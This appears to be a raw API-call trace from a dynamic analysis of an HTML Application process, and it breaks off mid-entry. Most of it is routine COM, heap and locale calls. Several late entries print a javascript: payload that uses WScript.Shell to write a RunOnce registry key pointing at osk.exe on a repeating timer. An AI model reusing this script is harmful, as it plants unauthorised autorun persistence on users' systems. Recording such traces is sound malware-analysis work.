rclsid=0x9dd31c*(Data1=0x3050f406, Data2=0x98b5, Data3=0x11cf, Data4=([0]=0xbb, [1]=0x82, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xbd, [6]=0xce, [7]=0xb)), riid=0x74109214*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x95d580 | out: ppv=0x95d580*=0x7376ba90) returned 0x0 [0252.068] IUnknown:QueryInterface (in: This=0x7376ba90, riid=0x7410a158*(Data1=0x79eac9ec, Data2=0xbaf9, Data3=0x11ce, Data4=([0]=0x8c, [1]=0x82, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0xa9, [7]=0xb)), ppvObject=0x95da78 | out: ppvObject=0x95da78*=0x7376ba9c) returned 0x0 [0252.068] IUnknown:Release (This=0x7376ba90) returned 0x1 [0252.068] IInternetProtocolInfo:ParseUrl (in: This=0x7376ba9c, pwzUrl="about:blank", ParseAction=17, dwParseFlags=0x0, pwzResult=0x9f0818, cchResult=0xc, pcchResult=0x95da74, dwReserved=0x0 | out: pwzResult="", pcchResult=0x95da74*=0x0) returned 0x800c0011 [0252.068] IUnknown:Release (This=0x7376ba9c) returned 0x1 [0252.069] CoInternetIsFeatureEnabled (FeatureEntry=0x8, dwFlags=0x2) returned 0x1 [0252.069] CoInternetIsFeatureEnabled (FeatureEntry=0xe, dwFlags=0x2) returned 0x1 [0252.069] IInternetSecurityManagerEx2:ProcessUrlActionEx2 (in: This=0x9f2ba8, pUri=0x9de574, dwAction=0x2106, pPolicy=0x95e1ac, cbPolicy=0x4, pContext=0x0, cbContext=0x0, dwFlags=0x41, dwReserved=0x0, pdwOutFlags=0x95e18c | out: pPolicy=0x95e1ac*=0x0, pdwOutFlags=0x95e18c*=0x0) returned 0x0 [0252.069] IUnknown:Release (This=0x9f2ba8) returned 0x1 [0252.069] IUnknown:Release (This=0x9de574) returned 0x4 [0252.070] GetDoubleClickTime () returned 0x1f4 [0252.070] GetSystemMetrics (nIndex=36) returned 4 [0252.070] GetSystemMetrics (nIndex=37) returned 4 [0252.070] RtlInitializeConditionVariable (in: ConditionVariable=0x494a0b8 | out: ConditionVariable=0x494a0b8) [0252.070] CoTaskMemAlloc (cb=0x1c) returned 0x9f1588 [0252.070] QISearch (in: that=0x494a120, pqit=0x726ede0c, riid=0x72880828*(Data1=0xaf11d3db, Data2=0x81a6, Data3=0x4b88, Data4=([0]=0xae, [1]=0x7, [2]=0x96, [3]=0xec, [4]=0xcf, [5]=0x46, [6]=0xd0, [7]=0x76)), ppv=0x49690d0 | out: that=0x494a120, ppv=0x49690d0*=0x494a120) returned 0x0 [0252.070] CoTaskMemAlloc (cb=0x1c) returned 0x9f1510 [0252.070] QISearch (in: that=0x494a150, pqit=0x726ede0c, riid=0x72880828*(Data1=0xaf11d3db, Data2=0x81a6, Data3=0x4b88, Data4=([0]=0xae, [1]=0x7, [2]=0x96, [3]=0xec, [4]=0xcf, [5]=0x46, [6]=0xd0, [7]=0x76)), ppv=0x49690d4 | out: that=0x494a150, ppv=0x49690d4*=0x494a150) returned 0x0 [0252.070] IUnknown:AddRef (This=0x494a150) returned 0x2 [0252.071] RtlAllocateHeap (HeapHandle=0xd90000, Flags=0x0, Size=0x94) returned 0x4a537c0 [0252.071] RtlInterlockedPopEntrySList (in: ListHead=0xd90878 | out: ListHead=0xd90878) returned 0x0 [0252.071] VirtualAlloc (lpAddress=0x49a2000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0x49a2000 [0252.071] RtlAllocateHeap (HeapHandle=0xd90000, Flags=0x0, Size=0x94) returned 0x4a53860 [0252.071] RtlInterlockedPopEntrySList (in: ListHead=0xd90878 | out: ListHead=0xd90878) returned 0x0 [0252.071] VirtualAlloc (lpAddress=0x49a4000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0x49a4000 [0252.071] GetTickCount () returned 0x3e560 [0252.072] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x95e640, lpTimeIncrement=0x95e648, lpTimeAdjustmentDisabled=0x95e644 | out: lpTimeAdjustment=0x95e640, lpTimeIncrement=0x95e648, lpTimeAdjustmentDisabled=0x95e644) returned 1 [0252.072] RtlAllocateHeap (HeapHandle=0xd90000, Flags=0x0, Size=0x90) returned 0x4a53900 [0252.117] RtlInterlockedPopEntrySList (in: ListHead=0xd90878 | out: ListHead=0xd90878) returned 0x0 [0252.117] VirtualAlloc (lpAddress=0x49a6000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0x49a6000 [0252.118] QueryPerformanceCounter (in: lpPerformanceCount=0x95e5f8 | out: lpPerformanceCount=0x95e5f8*=25542052685) returned 1 [0252.118] QueryPerformanceFrequency (in: lpFrequency=0x73881fd8 | out: lpFrequency=0x73881fd8*=100000000) returned 1 [0252.118] RtlAllocateHeap (HeapHandle=0xd90000, Flags=0x0, Size=0xa0) returned 0x4a53998 [0252.118] RtlInterlockedPopEntrySList (in: ListHead=0xd90878 | out: ListHead=0xd90878) returned 0x0 [0252.118] VirtualAlloc (lpAddress=0x49a8000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0x49a8000 [0252.120] RtlAllocateHeap (HeapHandle=0x9d0000, Flags=0x0, Size=0x46) returned 0x9effb8 [0252.120] RtlAllocateHeap (HeapHandle=0x9d0000, Flags=0x0, Size=0x42) returned 0x9f0378 [0252.120] RtlAllocateHeap (HeapHandle=0x9d0000, Flags=0x0, Size=0x56) returned 0x9fc880 [0252.120] RtlAllocateHeap (HeapHandle=0xd90000, Flags=0x0, Size=0x8c) returned 0x4a53a40 [0252.120] RtlInterlockedPopEntrySList (in: ListHead=0xd90878 | out: ListHead=0xd90878) returned 0x0 [0252.120] VirtualAlloc (lpAddress=0x49aa000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0x49aa000 [0252.121] IUnknown:AddRef (This=0x4968000) returned 0x0 [0252.121] IUnknown:Release (This=0x4968000) returned 0x1 [0252.121] IUnknown:Release (This=0x7376b52c) returned 0x1 [0252.121] IUnknown:QueryInterface (in: This=0x4968000, riid=0x72880548*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x95f634 | out: ppvObject=0x95f634*=0x4968000) returned 0x0 [0252.121] IUnknown:Release (This=0x4968000) returned 0x1 [0252.121] LdrResolveDelayLoadedAPI () returned 0x75be9db0 [0252.122] LdrResolveDelayLoadedAPI () returned 0x764321f0 [0252.122] IUnknown_QueryService (in: punk=0x7387f4bc, guidService=0x7286d374*(Data1=0xd81f90a3, Data2=0x8156, Data3=0x44f7, Data4=([0]=0xad, [1]=0x28, [2]=0x5a, [3]=0xbb, [4]=0x87, [5]=0x0, [6]=0x32, [7]=0x74)), riid=0x7287d07c*(Data1=0xd81f90a3, Data2=0x8156, Data3=0x44f7, Data4=([0]=0xad, [1]=0x28, [2]=0x5a, [3]=0xbb, [4]=0x87, [5]=0x0, [6]=0x32, [7]=0x74)), ppvOut=0x4968060 | out: ppvOut=0x4968060*=0x0) returned 0x80004005 [0252.122] IUnknown:QueryInterface (in: This=0x7387f4bc, riid=0x763fb61c*(Data1=0x6d5140c1, Data2=0x7436, Data3=0x11ce, Data4=([0]=0x80, [1]=0x34, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x60, [6]=0x9, [7]=0xfa)), ppvObject=0x95f5a8 | out: ppvObject=0x95f5a8*=0x7387f4d0) returned 0x0 [0252.122] IServiceProvider:QueryService (in: This=0x7387f4d0, guidService=0x7286d374*(Data1=0xd81f90a3, Data2=0x8156, Data3=0x44f7, Data4=([0]=0xad, [1]=0x28, [2]=0x5a, [3]=0xbb, [4]=0x87, [5]=0x0, [6]=0x32, [7]=0x74)), riid=0x7287d07c*(Data1=0xd81f90a3, Data2=0x8156, Data3=0x44f7, Data4=([0]=0xad, [1]=0x28, [2]=0x5a, [3]=0xbb, [4]=0x87, [5]=0x0, [6]=0x32, [7]=0x74)), ppvObject=0x4968060 | out: ppvObject=0x4968060*=0x0) returned 0x80004005 [0252.122] IUnknown:Release (This=0x7387f4d0) returned 0x1 [0252.122] IUnknown_QueryService (in: punk=0x7387f4bc, guidService=0x7286d468*(Data1=0x25336920, Data2=0x3f9, Data3=0x11cf, Data4=([0]=0x8f, [1]=0xd0, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x68, [6]=0x6f, [7]=0x13)), riid=0x7286d468*(Data1=0x25336920, Data2=0x3f9, Data3=0x11cf, Data4=([0]=0x8f, [1]=0xd0, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x68, [6]=0x6f, [7]=0x13)), ppvOut=0x95f5ac | out: ppvOut=0x95f5ac*=0x0) returned 0x80004005 [0252.122] IUnknown:QueryInterface (in: This=0x7387f4bc, riid=0x763fb61c*(Data1=0x6d5140c1, Data2=0x7436, Data3=0x11ce, Data4=([0]=0x80, [1]=0x34, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x60, [6]=0x9, [7]=0xfa)), ppvObject=0x95f570 | out: ppvObject=0x95f570*=0x7387f4d0) returned 0x0 [0252.122] IServiceProvider:QueryService (in: This=0x7387f4d0, guidService=0x7286d468*(Data1=0x25336920, Data2=0x3f9, Data3=0x11cf, Data4=([0]=0x8f, [1]=0xd0, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x68, [6]=0x6f, [7]=0x13)), riid=0x7286d468*(Data1=0x25336920, Data2=0x3f9, Data3=0x11cf, Data4=([0]=0x8f, [1]=0xd0, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x68, [6]=0x6f, [7]=0x13)), ppvObject=0x95f5ac | out: ppvObject=0x95f5ac*=0x0) returned 0x80004005 [0252.122] IUnknown:Release (This=0x7387f4d0) returned 0x1 [0252.123] IInternetSecurityManager:SetSecuritySite (This=0x9f2ba8, pSite=0x4968e04) returned 0x0 [0252.123] IUnknown:Release (This=0x4968e04) returned 0x0 [0252.123] IUnknown:AddRef (This=0x4968e04) returned 0x30 [0252.123] IUnknown:QueryInterface (in: This=0x4968e04, riid=0x7410a62c*(Data1=0x6d5140c1, Data2=0x7436, Data3=0x11ce, Data4=([0]=0x80, [1]=0x34, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x60, [6]=0x9, [7]=0xfa)), ppvObject=0x95f5d4 | out: ppvObject=0x95f5d4*=0x4968e08) returned 0x0 [0252.123] IServiceProvider:QueryService (in: This=0x4968e08, guidService=0x7410a500*(Data1=0x49d33aad, Data2=0xf985, Data3=0x4b70, Data4=([0]=0x97, [1]=0xa0, [2]=0x28, [3]=0xec, [4]=0xeb, [5]=0x65, [6]=0x23, [7]=0xbf)), riid=0x7410a500*(Data1=0x49d33aad, Data2=0xf985, Data3=0x4b70, Data4=([0]=0x97, [1]=0xa0, [2]=0x28, [3]=0xec, [4]=0xeb, [5]=0x65, [6]=0x23, [7]=0xbf)), ppvObject=0x9f2bdc | out: ppvObject=0x9f2bdc*=0x0) returned 0x80004002 [0252.123] IServiceProvider:QueryService (in: This=0x4968e08, guidService=0x7410a59c*(Data1=0xf1e50292, Data2=0xa795, Data3=0x4117, Data4=([0]=0x8e, [1]=0x9, [2]=0x2b, [3]=0x56, [4]=0xa, [5]=0x72, [6]=0xac, [7]=0x60)), riid=0x7410a59c*(Data1=0xf1e50292, Data2=0xa795, Data3=0x4117, Data4=([0]=0x8e, [1]=0x9, [2]=0x2b, [3]=0x56, [4]=0xa, [5]=0x72, [6]=0xac, [7]=0x60)), ppvObject=0x9f2bd8 | out: ppvObject=0x9f2bd8*=0x0) returned 0x80004002 [0252.123] IServiceProvider:QueryService (in: This=0x4968e08, guidService=0x7410a5ac*(Data1=0xf164edf1, Data2=0xcc7c, Data3=0x4f0d, Data4=([0]=0x9a, [1]=0x94, [2]=0x34, [3]=0x22, [4]=0x26, [5]=0x25, [6]=0xc3, [7]=0x93)), riid=0x7410a5ac*(Data1=0xf164edf1, Data2=0xcc7c, Data3=0x4f0d, Data4=([0]=0x9a, [1]=0x94, [2]=0x34, [3]=0x22, [4]=0x26, [5]=0x25, [6]=0xc3, [7]=0x93)), ppvObject=0x9f2bd4 | out: ppvObject=0x9f2bd4*=0x0) returned 0x80004002 [0252.123] IServiceProvider:QueryService (in: This=0x4968e08, guidService=0x7410a58c*(Data1=0x79eac9ee, Data2=0xbaf9, Data3=0x11ce, Data4=([0]=0x8c, [1]=0x82, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0xa9, [7]=0xb)), riid=0x7410a58c*(Data1=0x79eac9ee, Data2=0xbaf9, Data3=0x11ce, Data4=([0]=0x8c, [1]=0x82, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0xa9, [7]=0xb)), ppvObject=0x9f2bd0 | out: ppvObject=0x9f2bd0*=0x7387f4d4) returned 0x0 [0252.123] IUnknown:Release (This=0x4968e08) returned 0x0 [0252.123] CoTaskMemAlloc (cb=0x6d) returned 0x9fc8e0 [0252.123] CoTaskMemAlloc (cb=0x9) returned 0x9f8da8 [0252.124] RtlAllocateHeap (HeapHandle=0x9d0000, Flags=0x0, Size=0xc) returned 0x9f8f28 [0252.124] StrChrW (lpStart="HTA", wMatch=0x3b) returned 0x0 [0252.124] RtlAllocateHeap (HeapHandle=0x9d0000, Flags=0x0, Size=0xc) returned 0x9f8dc0 [0252.124] memcpy_s (in: _Destination=0x4970230, _DestinationSize=0x8, _Source=0x9f8f2c, _SourceSize=0x6 | out: _Destination=0x4970230) returned 0x0 [0252.124] RtlAllocateHeap (HeapHandle=0xd90000, Flags=0x0, Size=0x90) returned 0x4a53ad8 [0252.124] RtlInterlockedPopEntrySList (in: ListHead=0xd90878 | out: ListHead=0xd90878) returned 0x0 [0252.124] VirtualAlloc (lpAddress=0x49ac000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0x49ac000 [0252.125] RtlAllocateHeap (HeapHandle=0x9d0000, Flags=0x0, Size=0x20) returned 0x9f1830 [0252.125] RtlAllocateHeap (HeapHandle=0xd90000, Flags=0x0, Size=0x98) returned 0x4a53b70 [0252.125] RtlInterlockedPopEntrySList (in: ListHead=0xd90878 | out: ListHead=0xd90878) returned 0x0 [0252.125] VirtualAlloc (lpAddress=0x49ae000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0x49ae000 [0252.125] RtlAllocateHeap (HeapHandle=0x9d0000, Flags=0x0, Size=0x100) returned 0xa00398 [0252.125] RtlAllocateHeap (HeapHandle=0x9d0000, Flags=0x0, Size=0x800) returned 0xa007e0 [0252.125] IsCharSpaceW (wch=0x48) returned 0 [0252.126] IsCharAlphaNumericW (ch=0x5c) returned 0 [0252.126] IsCharSpaceW (wch=0x5c) returned 0 [0252.126] IsCharSpaceW (wch=0x41) returned 0 [0252.126] RtlAllocateHeap (HeapHandle=0x9d0000, Flags=0x0, Size=0xc) returned 0x9f8e68 [0252.126] IsCharAlphaNumericW (ch=0x20) returned 0 [0252.126] IsCharSpaceW (wch=0x20) returned 1 [0252.126] IsCharSpaceW (wch=0x7b) returned 0 [0252.126] RtlAllocateHeap (HeapHandle=0x9d0000, Flags=0x0, Size=0x1c) returned 0x9f1498 [0252.126] IsCharSpaceW (wch=0x20) returned 1 [0252.126] IsCharAlphaNumericW (ch=0x7b) returned 0 [0252.126] IsCharSpaceW (wch=0x62) returned 0 [0252.126] IsCharAlphaNumericW (ch=0x3a) returned 0 [0252.126] IsCharSpaceW (wch=0x3a) returned 0 [0252.127] IsCharAlphaNumericW (ch=0x3a) returned 0 [0252.127] IsCharSpaceW (wch=0x75) returned 0 [0252.127] IsCharAlphaNumericW (ch=0x28) returned 0 [0252.127] IsCharSpaceW (wch=0x28) returned 0 [0252.127] IsCharAlphaNumericW (ch=0x28) returned 0 [0252.127] IsCharSpaceW (wch=0x23) returned 0 [0252.127] IsCharSpaceW (wch=0x23) returned 0 [0252.127] IsCharSpaceW (wch=0x7d) returned 0 [0252.127] IsCharAlphaNumericW (ch=0x7d) returned 0 [0252.127] IsCharSpaceW (wch=0x29) returned 0 [0252.127] IsCharSpaceW (wch=0x75) returned 0 [0252.127] IsCharSpaceW (wch=0x75) returned 0 [0252.127] IsCharSpaceW (wch=0x29) returned 0 [0252.127] RtlAllocateHeap (HeapHandle=0x9d0000, Flags=0x0, Size=0x34) returned 0x9dd638 [0252.128] RtlAllocateHeap (HeapHandle=0x9d0000, Flags=0x0, Size=0x2) returned 0x9f0fc8 [0252.128] RtlAllocateHeap (HeapHandle=0x9d0000, Flags=0x0, Size=0x10) returned 0x9f8fd0 [0252.128] CoTaskMemFree (pv=0x9fc8e0) [0252.128] CoTaskMemFree (pv=0x9f8da8) [0252.128] wcsncmp (_String1="HKCU\\", _String2="HKCU\\", _MaxCount=0x5) returned 0 [0252.128] StrCmpCW (pszStr1="Software\\Microsoft\\Internet Explorer", pszStr2="Software\\Microsoft\\Windows Mail\\Trident") returned -14 [0252.128] RtlAllocateHeap (HeapHandle=0x9d0000, Flags=0x0, Size=0x4a) returned 0x9fc8e0 [0252.128] GetSysColor (nIndex=26) returned 0xcc6600 [0252.128] GetSysColor (nIndex=5) returned 0xffffff [0252.128] GetSysColor (nIndex=8) returned 0x0 [0252.129] GetSysColor (nIndex=26) returned 0xcc6600 [0252.129] GetSysColor (nIndex=5) returned 0xffffff [0252.129] GetSysColor (nIndex=8) returned 0x0 [0252.132] wcstol (in: _String="0,0,255", _EndPtr=0x95d200, _Radix=10 | out: _EndPtr=0x95d200*=",0,255") returned 0 [0252.132] wcstol (in: _String="0,255", _EndPtr=0x95d200, _Radix=10 | out: _EndPtr=0x95d200*=",255") returned 0 [0252.132] wcstol (in: _String="255", _EndPtr=0x95d200, _Radix=10 | out: _EndPtr=0x95d200*="") returned 255 [0252.132] wcstol (in: _String="128,0,128", _EndPtr=0x95d200, _Radix=10 | out: _EndPtr=0x95d200*=",0,128") returned 128 [0252.132] wcstol (in: _String="0,128", _EndPtr=0x95d200, _Radix=10 | out: _EndPtr=0x95d200*=",128") returned 0 [0252.132] wcstol (in: _String="128", _EndPtr=0x95d200, _Radix=10 | out: _EndPtr=0x95d200*="") returned 128 [0252.135] RtlAllocateHeap (HeapHandle=0x9d0000, Flags=0x0, Size=0x3a) returned 0x9f5c60 [0252.136] RtlAllocateHeap (HeapHandle=0x9d0000, Flags=0x0, Size=0x9a) returned 0xa004a0 [0252.136] RtlAllocateHeap (HeapHandle=0x9d0000, Flags=0x0, Size=0x26) returned 0x9f39c0 [0252.136] RtlAllocateHeap (HeapHandle=0x9d0000, Flags=0x0, Size=0x9e) returned 0xa04d58 [0252.137] GetProcessHeap () returned 0x9d0000 [0252.137] HeapFree (in: hHeap=0x9d0000, dwFlags=0x0, lpMem=0x9dd338 | out: hHeap=0x9d0000) returned 1 [0252.137] GetProcessHeap () returned 0x9d0000 [0252.137] HeapFree (in: hHeap=0x9d0000, dwFlags=0x0, lpMem=0x9dd4b8 | out: hHeap=0x9d0000) returned 1 [0252.137] GetProcessHeap () returned 0x9d0000 [0252.137] HeapFree (in: hHeap=0x9d0000, dwFlags=0x0, lpMem=0x9f0fe8 | out: hHeap=0x9d0000) returned 1 [0252.137] _ltow_s (in: _Value=3, _Buffer=0x95d308, _BufferCount=0x21, _Radix=10 | out: _Buffer="3") returned 0x0 [0252.138] _ltow_s (in: _Value=3, _Buffer=0x95d308, _BufferCount=0x21, _Radix=10 | out: _Buffer="3") returned 0x0 [0252.138] _ltow_s (in: _Value=3, _Buffer=0x95d308, _BufferCount=0x21, _Radix=10 | out: _Buffer="3") returned 0x0 [0252.138] RtlAllocateHeap (HeapHandle=0x9d0000, Flags=0x0, Size=0x24) returned 0x9f3d20 [0252.138] _ltow_s (in: _Value=3, _Buffer=0x95d308, _BufferCount=0x21, _Radix=10 | out: _Buffer="3") returned 0x0 [0252.138] RtlAllocateHeap (HeapHandle=0x9d0000, Flags=0x0, Size=0x1c) returned 0x9f14c0 [0252.138] _ltow_s (in: _Value=3, _Buffer=0x95d308, _BufferCount=0x21, _Radix=10 | out: _Buffer="3") returned 0x0 [0252.138] _ltow_s (in: _Value=3, _Buffer=0x95d308, _BufferCount=0x21, _Radix=10 | out: _Buffer="3") returned 0x0 [0252.138] RtlAllocateHeap (HeapHandle=0x9d0000, Flags=0x0, Size=0x10) returned 0x9f9078 [0252.139] _ltow_s (in: _Value=3, _Buffer=0x95d308, _BufferCount=0x21, _Radix=10 | out: _Buffer="3") returned 0x0 [0252.139] RtlAllocateHeap (HeapHandle=0x9d0000, Flags=0x0, Size=0x16) returned 0x9f0818 [0252.139] GetAcceptLanguagesW () returned 0x0 [0252.139] LocaleNameToLCID (lpName="en-US", dwFlags=0x8000000) returned 0x409 [0252.139] RtlAllocateHeap (HeapHandle=0x9d0000, Flags=0x0, Size=0x10) returned 0x9f9150 [0252.139] RtlAllocateHeap (HeapHandle=0x9d0000, Flags=0x0, Size=0xb0) returned 0xa04e00 [0252.139] LCIDToLocaleName (in: Locale=0x409, lpName=0xa04e04, cchName=85, dwFlags=0x8000000 | out: lpName="en-US") returned 6 [0252.139] RtlReAllocateHeap (Heap=0x9d0000, Flags=0x0, Ptr=0x9f9150, Size=0xb0) returned 0xa04eb8 [0252.139] HeapFree (in: hHeap=0x9d0000, dwFlags=0x0, lpMem=0xa04e00 | out: hHeap=0x9d0000) returned 1 [0252.139] RtlAllocateHeap (HeapHandle=0x9d0000, Flags=0x0, Size=0x10) returned 0x9f9138 [0252.140] HeapFree (in: hHeap=0x9d0000, dwFlags=0x0, lpMem=0xa04eb8 | out: hHeap=0x9d0000) returned 1 [0252.140] memcpy_s (in: _Destination=0x95e5d0, _DestinationSize=0x1000, _Source=0x7387f084, _SourceSize=0xc | out: _Destination=0x95e5d0) returned 0x0 [0252.140] RtlAllocateHeap (HeapHandle=0x9d0000, Flags=0x0, Size=0x10) returned 0x9f9150 [0252.140] GetClassNameW (in: hWnd=0x80030, lpClassName=0x95f5c4, nMaxCount=10 | out: lpClassName="HTML Appl") returned 9 [0252.140] CompareStringW (Locale=0x409, dwCmpFlags=0x0, lpString1="HTML Appl", cchCount1=9, lpString2="HH Parent", cchCount2=9) returned 3 [0252.140] GetParent (hWnd=0x80030) returned 0x10020a [0252.140] GetClassNameW (in: hWnd=0x10020a, lpClassName=0x95f5c4, nMaxCount=10 | out: lpClassName="HTML Appl") returned 9 [0252.140] CompareStringW (Locale=0x409, dwCmpFlags=0x0, lpString1="HTML Appl", cchCount1=9, lpString2="HH Parent", cchCount2=9) returned 3 [0252.140] GetParent (hWnd=0x10020a) returned 0x0 [0252.140] RtlAllocateHeap (HeapHandle=0x9d0000, Flags=0x0, Size=0x1c) returned 0x9f1538 [0252.141] RtlAllocateHeap (HeapHandle=0x9d0000, Flags=0x0, Size=0x1c) returned 0xa05588 [0252.141] RtlAllocateHeap (HeapHandle=0x9d0000, Flags=0x0, Size=0x1a) returned 0xa05420 [0252.141] RtlAllocateHeap (HeapHandle=0x9d0000, Flags=0x0, Size=0x1a) returned 0xa053f8 [0252.141] RtlAllocateHeap (HeapHandle=0x9d0000, Flags=0x0, Size=0x1a) returned 0xa05448 [0252.141] _ltow_s (in: _Value=0, _Buffer=0x95f280, _BufferCount=0x21, _Radix=10 | out: _Buffer="0") returned 0x0 [0252.141] RtlAllocateHeap (HeapHandle=0x9d0000, Flags=0x0, Size=0x12) returned 0x9f08f8 [0252.141] _ltow_s (in: _Value=5, _Buffer=0x95f280, _BufferCount=0x21, _Radix=10 | out: _Buffer="5") returned 0x0 [0252.141] RtlAllocateHeap (HeapHandle=0x9d0000, Flags=0x0, Size=0x12) returned 0x9f05d8 [0252.141] _ltow_s (in: _Value=7, _Buffer=0x95f280, _BufferCount=0x21, _Radix=10 | out: _Buffer="7") returned 0x0 [0252.141] RtlAllocateHeap (HeapHandle=0x9d0000, Flags=0x0, Size=0x12) returned 0x9f0698 [0252.141] _ltow_s (in: _Value=8, _Buffer=0x95f280, _BufferCount=0x21, _Radix=10 | out: _Buffer="8") returned 0x0 [0252.141] RtlAllocateHeap (HeapHandle=0x9d0000, Flags=0x0, Size=0x12) returned 0x9f0838 [0252.141] _ltow_s (in: _Value=9, _Buffer=0x95f280, _BufferCount=0x21, _Radix=10 | out: _Buffer="9") returned 0x0 [0252.141] RtlAllocateHeap (HeapHandle=0x9d0000, Flags=0x0, Size=0x12) returned 0x9f05f8 [0252.141] _ltow_s (in: _Value=10, _Buffer=0x95f280, _BufferCount=0x21, _Radix=10 | out: _Buffer="10") returned 0x0 [0252.141] RtlAllocateHeap (HeapHandle=0x9d0000, Flags=0x0, Size=0x14) returned 0x9f0758 [0252.141] _ltow_s (in: _Value=11, _Buffer=0x95f280, _BufferCount=0x21, _Radix=10 | out: _Buffer="11") returned 0x0 [0252.141] RtlAllocateHeap (HeapHandle=0x9d0000, Flags=0x0, Size=0x14) returned 0x9f08b8 [0252.141] _ltow_s (in: _Value=12, _Buffer=0x95f280, _BufferCount=0x21, _Radix=10 | out: _Buffer="12") returned 0x0 [0252.141] RtlAllocateHeap (HeapHandle=0x9d0000, Flags=0x0, Size=0x14) returned 0x9f06d8 [0252.141] RtlAllocateHeap (HeapHandle=0x9d0000, Flags=0x0, Size=0x12) returned 0x9f0858 [0252.141] memcpy_s (in: _Destination=0x4970450, _DestinationSize=0x6, _Source=0x9f1188, _SourceSize=0x4 | out: _Destination=0x4970450) returned 0x0 [0252.141] RtlAllocateHeap (HeapHandle=0x9d0000, Flags=0x0, Size=0xc) returned 0x9f8da8 [0252.142] memcpy_s (in: _Destination=0x4970470, _DestinationSize=0x8, _Source=0x9f1138, _SourceSize=0x6 | out: _Destination=0x4970470) returned 0x0 [0252.142] GetProcessHeap () returned 0x9d0000 [0252.142] HeapFree (in: hHeap=0x9d0000, dwFlags=0x0, lpMem=0x9f1188 | out: hHeap=0x9d0000) returned 1 [0252.142] GetProcessHeap () returned 0x9d0000 [0252.142] HeapFree (in: hHeap=0x9d0000, dwFlags=0x0, lpMem=0x9f1138 | out: hHeap=0x9d0000) returned 1 [0252.142] GetProcessHeap () returned 0x9d0000 [0252.142] HeapFree (in: hHeap=0x9d0000, dwFlags=0x0, lpMem=0x9f1168 | out: hHeap=0x9d0000) returned 1 [0252.142] IUnknown:AddRef (This=0x9f6a6c) returned 0x6 [0252.142] UrlGetLocationW (psz1="javascript:o=new ActiveXObject('WScript.Shell');x=new ActiveXObject('Scripting.FileSystemObject');setInterval(function(){try{i=x.GetFile('osk.exe').Path;o.RegWrite('HKCU\\\\Software\\\\Microsoft\\\\Windows\\\\CurrentVersion\\\\RunOnce\\\\shwlwook',i);}catch(e){}},10);") returned 0x0 [0252.142] UrlGetLocationW (psz1=0x0) returned 0x0 [0252.142] CreateURLMonikerEx (in: pMkCtx=0x0, szURL="javascript:o=new ActiveXObject('WScript.Shell');x=new ActiveXObject('Scripting.FileSystemObject');setInterval(function(){try{i=x.GetFile('osk.exe').Path;o.RegWrite('HKCU\\\\Software\\\\Microsoft\\\\Windows\\\\CurrentVersion\\\\RunOnce\\\\shwlwook',i);}catch(e){}},10);", ppmk=0x95f3e0*=0x0, dwFlags=0x1 | out: ppmk=0x95f3e0*=0x9dd678) returned 0x0 [0252.143] DllGetClassObject (in: rclsid=0x9dd6dc*(Data1=0x3050f3b2, Data2=0x98b5, Data3=0x11cf, Data4=([0]=0xbb, [1]=0x82, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xbd, [6]=0xce, [7]=0xb)), riid=0x74109214*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x95eb08 | out: ppv=0x95eb08*=0x7376b5fc) returned 0x0 [0252.143] IUnknown:QueryInterface (in: This=0x7376b5fc, riid=0x7410a158*(Data1=0x79eac9ec, Data2=0xbaf9, Data3=0x11ce, Data4=([0]=0x8c, [1]=0x82, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0xa9, [7]=0xb)), ppvObject=0x95efd4 | out: ppvObject=0x95efd4*=0x7376b608) returned 0x0 [0252.143] IUnknown:Release (This=0x7376b5fc) returned 0x1 [0252.143] IInternetProtocolInfo:ParseUrl (in: This=0x7376b608, pwzUrl="javascript:o=new ActiveXObject('WScript.Shell');x=new ActiveXObject('Scripting.FileSystemObject');setInterval(function(){try{i=x.GetFile('osk.exe').Path;o.RegWrite('HKCU\\\\Software\\\\Microsoft\\\\Windows\\\\CurrentVersion\\\\RunOnce\\\\shwlwook',i);}catch(e){}},10);", ParseAction=1, dwParseFlags=0x10000, pwzResult=0x9e92d8, cchResult=0x824, pcchResult=0x95f2ec, dwReserved=0x0 | out: pwzResult="", pcchResult=0x95f2ec*=0x0) returned 0x800c0011 [0252.143] IUnknown:Release (This=0x7376b608) returned 0x1 [0252.143] CreateUri (in: pwzURI="javascript:o=new ActiveXObject('WScript.Shell');x=new ActiveXObject('Scripting.FileSystemObject');setInterval(function(){try{i=x.GetFile('osk.exe').Path;o.RegWrite('HKCU\\\\Software\\\\Microsoft\\\\Windows\\\\CurrentVersion\\\\RunOnce\\\\shwlwook',i);}catch(e){}},10);", dwFlags=0x3002b84, dwReserved=0x0, ppURI=0x95f3cc | out: ppURI=0x95f3cc*=0x9f1a44) returned 0x0 [0252.143] IUri:GetScheme (in: This=0x9f1a44, pdwScheme=0x95f364 | out: 